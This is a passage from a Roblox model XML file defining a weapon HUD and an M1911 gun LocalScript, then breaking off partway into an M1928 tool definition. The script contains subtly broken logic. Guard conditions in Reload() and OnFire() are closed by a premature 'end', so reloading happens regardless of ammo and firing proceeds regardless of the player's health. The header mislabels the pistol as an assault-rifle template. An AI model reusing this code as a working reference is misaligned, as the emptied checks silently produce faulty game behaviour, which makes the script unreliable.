Tool.Unequipped:connect(Unequip)
</ProtectedString>
				</Properties>
			</Item>
			<Item class="ScreenGui" referent="RBX4721">
				<Properties>
					<string name="Name">WeaponHud</string>
				</Properties>
				<Item class="Frame" referent="RBX4722">
					<Properties>
						<bool name="Active">false</bool>
						<Color3 name="BackgroundColor3">4288914085</Color3>
						<float name="BackgroundTransparency">1</float>
						<Color3 name="BorderColor3">4279970357</Color3>
						<int name="BorderSizePixel">0</int>
						<bool name="ClipsDescendants">false</bool>
						<bool name="Draggable">false</bool>
						<string name="Name">AmmoHud</string>
						<UDim2 name="Position">
							<XS>1</XS>
							<XO>-265</XO>
							<YS>1</YS>
							<YO>-60</YO>
						</UDim2>
						<UDim2 name="Size">
							<XS>0</XS>
							<XO>200</XO>
							<YS>0</YS>
							<YO>50</YO>
						</UDim2>
						<token name="SizeConstraint">0</token>
						<token name="Style">2</token>
						<bool name="Visible">true</bool>
						<int name="ZIndex">1</int>
					</Properties>
					<Item class="TextLabel" referent="RBX4723">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<string name="Name">ForwardSlash</string>
							<UDim2 name="Position">
								<XS>0.5</XS>
								<XO>0</XO>
								<YS>0.5</YS>
								<YO>0</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">/</string>
							<Color3 name="TextColor3">4294967295</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="TextLabel" referent="RBX4724">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<string name="Name">ClipAmmo</string>
							<UDim2 name="Position">
								<XS>0.449999988</XS>
								<XO>0</XO>
								<YS>0.5</YS>
								<YO>0</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">54</string>
							<Color3 name="TextColor3">4294967295</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">1</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="TextLabel" referent="RBX4725">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<string name="Name">TotalAmmo</string>
							<UDim2 name="Position">
								<XS>0.550000012</XS>
								<XO>0</XO>
								<YS>0.5</YS>
								<YO>0</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">180</string>
							<Color3 name="TextColor3">4294967295</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">0</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
				</Item>
				<Item class="Frame" referent="RBX4726">
					<Properties>
						<bool name="Active">false</bool>
						<Color3 name="BackgroundColor3">4278255360</Color3>
						<float name="BackgroundTransparency">1</float>
						<Color3 name="BorderColor3">4279970357</Color3>
						<int name="BorderSizePixel">0</int>
						<bool name="ClipsDescendants">false</bool>
						<bool name="Draggable">false</bool>
						<string name="Name">Crosshair</string>
						<UDim2 name="Position">
							<XS>0</XS>
							<XO>500</XO>
							<YS>0</YS>
							<YO>500</YO>
						</UDim2>
						<UDim2 name="Size">
							<XS>0</XS>
							<XO>150</XO>
							<YS>0</YS>
							<YO>150</YO>
						</UDim2>
						<token name="SizeConstraint">0</token>
						<token name="Style">0</token>
						<bool name="Visible">true</bool>
						<int name="ZIndex">1</int>
					</Properties>
					<Item class="Frame" referent="RBX4727">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4294967295</Color3>
							<float name="BackgroundTransparency">0</float>
							<Color3 name="BorderColor3">4278190080</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">TopFrame</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>-1</XO>
								<YS>-0.5</YS>
								<YO>-7</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>2</XO>
								<YS>0</YS>
								<YO>14</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="Frame" referent="RBX4728">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4294967295</Color3>
							<float name="BackgroundTransparency">0</float>
							<Color3 name="BorderColor3">4278190080</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">RightFrame</string>
							<UDim2 name="Position">
								<XS>0.5</XS>
								<XO>-7</XO>
								<YS>0</YS>
								<YO>-1</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>14</XO>
								<YS>0</YS>
								<YO>2</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="Frame" referent="RBX4729">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4294967295</Color3>
							<float name="BackgroundTransparency">0</float>
							<Color3 name="BorderColor3">4278190080</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">LeftFrame</string>
							<UDim2 name="Position">
								<XS>-0.5</XS>
								<XO>-7</XO>
								<YS>0</YS>
								<YO>-1</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>14</XO>
								<YS>0</YS>
								<YO>2</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="ImageLabel" referent="RBX4730">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<Content name="Image"><url>http://www.roblox.com/asset/?id=115400215</url></Content>
							<string name="Name">TargetHitImage</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>-25</XO>
								<YS>0</YS>
								<YO>-25</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>50</XO>
								<YS>0</YS>
								<YO>50</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<bool name="Visible">false</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="TextLabel" referent="RBX4731">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">2</token>
							<token name="FontSize">6</token>
							<string name="Name">ReloadingLabel</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>20</XO>
								<YS>0</YS>
								<YO>-20</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">Reloading</string>
							<Color3 name="TextColor3">4294967295</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">0</token>
							<token name="TextYAlignment">2</token>
							<bool name="Visible">false</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="Frame" referent="RBX4732">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4294967295</Color3>
							<float name="BackgroundTransparency">0</float>
							<Color3 name="BorderColor3">4278190080</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">BottomFrame</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>-1</XO>
								<YS>0.5</YS>
								<YO>-7</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>2</XO>
								<YS>0</YS>
								<YO>14</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
				</Item>
				<Item class="Frame" referent="RBX4733">
					<Properties>
						<bool name="Active">false</bool>
						<Color3 name="BackgroundColor3">4288914085</Color3>
						<float name="BackgroundTransparency">1</float>
						<Color3 name="BorderColor3">4279970357</Color3>
						<int name="BorderSizePixel">0</int>
						<bool name="ClipsDescendants">false</bool>
						<bool name="Draggable">false</bool>
						<string name="Name">Reload</string>
						<UDim2 name="Position">
							<XS>1</XS>
							<XO>-265</XO>
							<YS>1</YS>
							<YO>-120</YO>
						</UDim2>
						<UDim2 name="Size">
							<XS>0</XS>
							<XO>200</XO>
							<YS>0</YS>
							<YO>50</YO>
						</UDim2>
						<token name="SizeConstraint">0</token>
						<token name="Style">0</token>
						<bool name="Visible">false</bool>
						<int name="ZIndex">1</int>
					</Properties>
					<Item class="TextLabel" referent="RBX4734">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">2</token>
							<token name="FontSize">7</token>
							<string name="Name">Reload</string>
							<UDim2 name="Position">
								<XS>0.5</XS>
								<XO>0</XO>
								<YS>0.5</YS>
								<YO>0</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">Press R to Reload</string>
							<Color3 name="TextColor3">4294901760</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="LocalScript" referent="RBX4735">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">M1911</string>
					<ProtectedString name="Source">--------------------- TEMPLATE ASSAULT RIFLE WEAPON ---------------------------
-- Waits for the child of the specified parent
local function WaitForChild(parent, childName)
&#9;while not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end
&#9;return parent[childName]
end

----- MAGIC NUMBERS ABOUT THE TOOL -----
-- How much damage a bullet does
local Damage = 25
-- How many times per second the gun can fire
local FireRate = 1 / 5.5
-- The maximum distance the can can shoot, this value should never go above 1000
local Range = 350
-- In radians the minimum accuracy penalty
local MinSpread = 0.005
-- In radian the maximum accuracy penalty
local MaxSpread = 0.07
-- Number of bullets in a clip
local ClipSize = 7
-- DefaultValue for spare ammo
local SpareAmmo = 70
-- The amount the aim will increase or decrease by
-- decreases this number reduces the speed that recoil takes effect
local AimInaccuracyStepAmount = .5
-- Time it takes to reload weapon
local ReloadTime = 2
----------------------------------------

-- Colors
local FriendlyReticleColor = Color3.new(0, 1, 0)
local EnemyReticleColor&#9;= Color3.new(1, 0, 0)
local NeutralReticleColor&#9;= Color3.new(1, 1, 1)

local Spread = MinSpread
local AmmoInClip = ClipSize

local Tool = script.Parent
local Handle = WaitForChild(Tool, &apos;Handle&apos;)
local WeaponGui = nil

local LeftButtonDown
local Reloading = false
local IsShooting = false

-- Player specific convenience variables
local MyPlayer = nil
local MyCharacter = nil
local MyHumanoid = nil
local MyTorso = nil
local MyMouse = nil


local IconURL = Tool.TextureId  -- URL to the weapon icon asset

local DebrisService = game:GetService(&apos;Debris&apos;)
local PlayersService = game:GetService(&apos;Players&apos;)


local FireSound

local OnFireConnection = nil
local OnReloadConnection = nil

local DecreasedAimLastShot = false
local LastSpreadUpdate = time()

-- this is a dummy object that holds the flash made when the gun is fired
local FlashHolder = nil


local WorldToCellFunction = Workspace.Terrain.WorldToCellPreferSolid
local GetCellFunction = Workspace.Terrain.GetCell

function RayIgnoreCheck(hit, pos)
&#9;if hit then
&#9;&#9;if hit.Transparency &gt;= 1 or string.lower(hit.Name) == &quot;water&quot; or
&#9;&#9;&#9;&#9;hit.Name == &quot;Effect&quot; or hit.Name == &quot;Rocket&quot; or hit.Name == &quot;Bullet&quot; or
&#9;&#9;&#9;&#9;hit.Name == &quot;Handle&quot; or hit:IsDescendantOf(MyCharacter) then
&#9;&#9;&#9;return true
&#9;&#9;elseif hit:IsA(&apos;Terrain&apos;) and pos then
&#9;&#9;&#9;local cellPos = WorldToCellFunction(Workspace.Terrain, pos)
&#9;&#9;&#9;if cellPos then
&#9;&#9;&#9;&#9;local cellMat = GetCellFunction(Workspace.Terrain, cellPos.x, cellPos.y, cellPos.z)
&#9;&#9;&#9;&#9;if cellMat and cellMat == Enum.CellMaterial.Water then
&#9;&#9;&#9;&#9;&#9;return true
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
&#9;return false
end

-- @preconditions: vec should be a unit vector, and 0 &lt; rayLength &lt;= 1000
function RayCast(startPos, vec, rayLength)
&#9;local hitObject, hitPos = game.Workspace:FindPartOnRay(Ray.new(startPos + (vec * .01), vec * rayLength), Handle)
&#9;if hitObject and hitPos then
&#9;&#9;local distance = rayLength - (hitPos - startPos).magnitude
&#9;&#9;if RayIgnoreCheck(hitObject, hitPos) and distance &gt; 0 then
&#9;&#9;&#9;-- there is a chance here for potential infinite recursion
&#9;&#9;&#9;return RayCast(hitPos, vec, distance)
&#9;&#9;end
&#9;end
&#9;return hitObject, hitPos
end



function TagHumanoid(humanoid, player)
&#9;-- Add more tags here to customize what tags are available.
&#9;while humanoid:FindFirstChild(&apos;creator&apos;) do
&#9;&#9;humanoid:FindFirstChild(&apos;creator&apos;):Destroy()
&#9;end 
&#9;local creatorTag = Instance.new(&quot;ObjectValue&quot;)
&#9;creatorTag.Value = player
&#9;creatorTag.Name = &quot;creator&quot;
&#9;creatorTag.Parent = humanoid
&#9;DebrisService:AddItem(creatorTag, 1.5)

&#9;local weaponIconTag = Instance.new(&quot;StringValue&quot;)
&#9;weaponIconTag.Value = IconURL
&#9;weaponIconTag.Name = &quot;icon&quot;
&#9;weaponIconTag.Parent = creatorTag
end


local function CreateBullet(bulletPos)
&#9;local bullet = Instance.new(&apos;Part&apos;, Workspace)
&#9;bullet.FormFactor = Enum.FormFactor.Custom
&#9;bullet.Size = Vector3.new(0.1, 0.1, 0.1)
&#9;bullet.BrickColor = BrickColor.new(&quot;Black&quot;)
&#9;bullet.Shape = Enum.PartType.Block
&#9;bullet.CanCollide = false
&#9;bullet.CFrame = CFrame.new(bulletPos)
&#9;bullet.Anchored = true
&#9;bullet.TopSurface = Enum.SurfaceType.Smooth
&#9;bullet.BottomSurface = Enum.SurfaceType.Smooth
&#9;bullet.Name = &apos;Bullet&apos;
&#9;DebrisService:AddItem(bullet, 2.5)
&#9;return bullet
end

local function Reload()
&#9;if not Reloading then
&#9;&#9;Reloading = true
&#9;&#9;-- Don&apos;t reload if you are already full or have no extra ammo
&#9;&#9;if AmmoInClip ~= ClipSize and SpareAmmo &gt; 0 then
&#9;&#9;&#9;end
&#9;&#9;&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) then
&#9;&#9;&#9;&#9;if WeaponGui.Crosshair:FindFirstChild(&apos;ReloadingLabel&apos;) then
&#9;&#9;&#9;&#9;&#9;WeaponGui.Crosshair.ReloadingLabel.Visible = true
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;&#9;script.Parent.Handle.Reload:Play()
&#9;&#9;&#9;wait(ReloadTime)
&#9;&#9;&#9;-- Only use as much ammo as you have
&#9;&#9;&#9;local ammoToUse = math.min(ClipSize - AmmoInClip, SpareAmmo)
&#9;&#9;&#9;AmmoInClip = AmmoInClip + ammoToUse
&#9;&#9;&#9;SpareAmmo = SpareAmmo - ammoToUse
&#9;&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;&#9;&#9;WeaponGui.Reload.Visible = false
&#9;&#9;end
&#9;&#9;Reloading = false
end

function OnFire()
&#9;if IsShooting then return end
&#9;if MyHumanoid and MyHumanoid.Health &gt; 0 then
&#9;&#9;end
&#9;&#9;IsShooting = true
&#9;&#9;while LeftButtonDown and AmmoInClip &gt; 0 and not Reloading do
&#9;&#9;&#9;if Spread and not DecreasedAimLastShot then
&#9;&#9;&#9;&#9;Spread = math.min(MaxSpread, Spread + AimInaccuracyStepAmount)
&#9;&#9;&#9;&#9;UpdateCrosshair(Spread)
&#9;&#9;&#9;end
&#9;&#9;&#9;DecreasedAimLastShot = not DecreasedAimLastShot
&#9;&#9;&#9;if Handle:FindFirstChild(&apos;FireSound&apos;) then
&#9;&#9;&#9;&#9;Handle.FireSound:Play()
&#9;&#9;&#9;&#9;Handle.Flash.Enabled = true
&#9;&#9;&#9;end
&#9;&#9;&#9;if MyMouse then
&#9;&#9;&#9;&#9;local targetPoint = MyMouse.Hit.p
&#9;&#9;&#9;&#9;local shootDirection = (targetPoint - Handle.Position).unit
&#9;&#9;&#9;&#9;-- Adjust the shoot direction randomly off by a little bit to account for recoil
&#9;&#9;&#9;&#9;shootDirection = CFrame.Angles((0.5 - math.random()) * 2 * Spread,
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;(0.5 - math.random()) * 2 * Spread,
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;(0.5 - math.random()) * 2 * Spread) * shootDirection
&#9;&#9;&#9;&#9;local hitObject, bulletPos = RayCast(Handle.Position, shootDirection, Range)
&#9;&#9;&#9;&#9;local bullet
&#9;&#9;&#9;&#9;-- Create a bullet here
&#9;&#9;&#9;&#9;if hitObject then
&#9;&#9;&#9;&#9;&#9;bullet = CreateBullet(bulletPos)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;if hitObject and hitObject.Parent then
&#9;&#9;&#9;&#9;&#9;local hitHumanoid = hitObject.Parent:FindFirstChild(&quot;Humanoid&quot;)
&#9;&#9;&#9;&#9;&#9;if hitHumanoid then
&#9;&#9;&#9;&#9;&#9;&#9;local hitPlayer = game.Players:GetPlayerFromCharacter(hitHumanoid.Parent)
&#9;&#9;&#9;&#9;&#9;&#9;if MyPlayer.Neutral or (hitPlayer and hitPlayer.TeamColor ~= MyPlayer.TeamColor) then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;TagHumanoid(hitHumanoid, MyPlayer)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;hitHumanoid:TakeDamage(Damage)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;if bullet then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;bullet:Destroy()
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;bullet = nil
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;--bullet.Transparency = 1
&#9;&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;&#9;&#9;Spawn(UpdateTargetHit)
&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;end
&#9;
&#9;&#9;&#9;&#9;AmmoInClip = AmmoInClip - 1
&#9;&#9;&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;&#9;&#9;end
&#9;&#9;&#9;wait(FireRate)
&#9;&#9;&#9;OnMouseUp()
&#9;&#9;end
&#9;&#9;Handle.Flash.Enabled = false
&#9;&#9;IsShooting = false
&#9;&#9;if AmmoInClip == 0 then
&#9;&#9;&#9;Handle.Tick:Play()
&#9;&#9;&#9;WeaponGui.Reload.Visible = true
&#9;&#9;end
&#9;end

local TargetHits = 0
function UpdateTargetHit()
&#9;TargetHits = TargetHits + 1
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;TargetHitImage&apos;) then
&#9;&#9;WeaponGui.Crosshair.TargetHitImage.Visible = true
&#9;end
&#9;wait(0.5)
&#9;TargetHits = TargetHits - 1
&#9;if TargetHits == 0 and WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;TargetHitImage&apos;) then
&#9;&#9;WeaponGui.Crosshair.TargetHitImage.Visible = false
&#9;end
end

function UpdateCrosshair(value, mouse)
&#9;if WeaponGui then
&#9;&#9;local absoluteY = 650
&#9;&#9;WeaponGui.Crosshair:TweenSize(
&#9;&#9;&#9;UDim2.new(0, value * absoluteY * 2 + 23, 0, value * absoluteY * 2 + 23),
&#9;&#9;&#9;Enum.EasingDirection.Out,
&#9;&#9;&#9;Enum.EasingStyle.Linear,
&#9;&#9;&#9;0.33)
&#9;end
end

function UpdateAmmo(value)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;AmmoHud&apos;) and WeaponGui.AmmoHud:FindFirstChild(&apos;ClipAmmo&apos;) then
&#9;&#9;WeaponGui.AmmoHud.ClipAmmo.Text = AmmoInClip
&#9;&#9;if value &gt; 0 and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;ReloadingLabel&apos;) then
&#9;&#9;&#9;WeaponGui.Crosshair.ReloadingLabel.Visible = false
&#9;&#9;end
&#9;end
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;AmmoHud&apos;) and WeaponGui.AmmoHud:FindFirstChild(&apos;TotalAmmo&apos;) then
&#9;&#9;WeaponGui.AmmoHud.TotalAmmo.Text = SpareAmmo
&#9;end
end


function OnMouseDown()
&#9;LeftButtonDown = true
&#9;OnFire()
end

function OnMouseUp()
&#9;LeftButtonDown = false
end

function OnKeyDown(key)
&#9;if string.lower(key) == &apos;r&apos; then
&#9;&#9;Reload()
&#9;end
end


function OnEquipped(mouse)
&#9;Handle.EquipSound:Play()
&#9;FireSound  = WaitForChild(Handle, &apos;FireSound&apos;)

&#9;MyCharacter = Tool.Parent
&#9;MyPlayer = game:GetService(&apos;Players&apos;):GetPlayerFromCharacter(MyCharacter)
&#9;MyHumanoid = MyCharacter:FindFirstChild(&apos;Humanoid&apos;)
&#9;MyTorso = MyCharacter:FindFirstChild(&apos;Torso&apos;)
&#9;MyMouse = mouse
&#9;WeaponGui = WaitForChild(Tool, &apos;WeaponHud&apos;):Clone()
&#9;if WeaponGui and MyPlayer then
&#9;&#9;WeaponGui.Parent = MyPlayer.PlayerGui
&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;end

&#9;if MyMouse then
&#9;&#9;-- Disable mouse icon
&#9;&#9;MyMouse.Icon = &quot;http://www.roblox.com/asset/?id=18662154&quot;
&#9;&#9;MyMouse.Button1Down:connect(OnMouseDown)
&#9;&#9;MyMouse.Button1Up:connect(OnMouseUp)
&#9;&#9;MyMouse.KeyDown:connect(OnKeyDown)
&#9;end
end


-- Unequip logic here
function OnUnequipped()
&#9;LeftButtonDown = false
&#9;Reloading = false
&#9;MyCharacter = nil
&#9;MyHumanoid = nil
&#9;MyTorso = nil
&#9;MyPlayer = nil
&#9;MyMouse = nil
&#9;if OnFireConnection then
&#9;&#9;OnFireConnection:disconnect()
&#9;end
&#9;if OnReloadConnection then
&#9;&#9;OnReloadConnection:disconnect()
&#9;end
&#9;if FlashHolder then
&#9;&#9;FlashHolder = nil
&#9;end
&#9;if WeaponGui then
&#9;&#9;WeaponGui.Parent = nil
&#9;&#9;WeaponGui = nil
&#9;end
end

local function SetReticleColor(color)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) then
&#9;&#9;for _, line in pairs(WeaponGui.Crosshair:GetChildren()) do
&#9;&#9;&#9;if line:IsA(&apos;Frame&apos;) then
&#9;&#9;&#9;&#9;line.BorderColor3 = color
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
end


Tool.Equipped:connect(OnEquipped)
Tool.Unequipped:connect(OnUnequipped)

while true do
&#9;wait(0.033)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and MyMouse then
&#9;&#9;WeaponGui.Crosshair.Position = UDim2.new(0, MyMouse.X, 0, MyMouse.Y)
&#9;&#9;SetReticleColor(NeutralReticleColor)

&#9;&#9;local target = MyMouse.Target
&#9;&#9;if target and target.Parent then
&#9;&#9;&#9;local player = PlayersService:GetPlayerFromCharacter(target.Parent)
&#9;&#9;&#9;if player then
&#9;&#9;&#9;&#9;if MyPlayer.Neutral or player.TeamColor ~= MyPlayer.TeamColor then
&#9;&#9;&#9;&#9;&#9;SetReticleColor(EnemyReticleColor)
&#9;&#9;&#9;&#9;else
&#9;&#9;&#9;&#9;&#9;SetReticleColor(FriendlyReticleColor)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
&#9;if Spread and not IsShooting then
&#9;&#9;local currTime = time()
&#9;&#9;if currTime - LastSpreadUpdate &gt; FireRate * 2 then
&#9;&#9;&#9;LastSpreadUpdate = currTime
&#9;&#9;&#9;Spread = math.max(MinSpread, Spread - AimInaccuracyStepAmount)
&#9;&#9;&#9;UpdateCrosshair(Spread, MyMouse)
&#9;&#9;end
&#9;end
end
</ProtectedString>
				</Properties>
			</Item>
		</Item>
		<Item class="Tool" referent="RBX4736">
			<Properties>
				<bool name="CanBeDropped">false</bool>
				<bool name="Enabled">true</bool>
				<CoordinateFrame name="Grip">
					<X>0.200000003</X>
					<Y>-0.600000024</Y>
					<Z>0.100000001</Z>
					<R00>0.970142484</R00>
					<R01>0</R01>
					<R02>0.242535636</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-0.242535636</R20>
					<R21>0</R21>
					<R22>0.970142484</R22>
				</CoordinateFrame>
				<string name="Name">M1928</string>
				<Content name="TextureId"><url>http://www.roblox.com/asset/?id=122080021</url></Content>
				<string name="ToolTip">Model 1928</string>
			</Properties>
			<Item class="Part" referent="RBX4737">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">26</int>
					<CoordinateFrame name="CFrame">
						<X>-17.2361126</X>
						<Y>-68.8128433</Y>
						<Z>25.6813545</Z>
						<R00>-0.370443463</R00>
						<R01>-0.0181345828</R01>
						<R02>-0.928682029</R02>
						<R10>0.00690602558</R10>
						<R11>0.999727964</R11>
						<R12>-0.0222767014</R12>
						<R20>0.928833425</R20>
						<R21>-0.0146656577</R21>
						<R22>-0.370217443</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
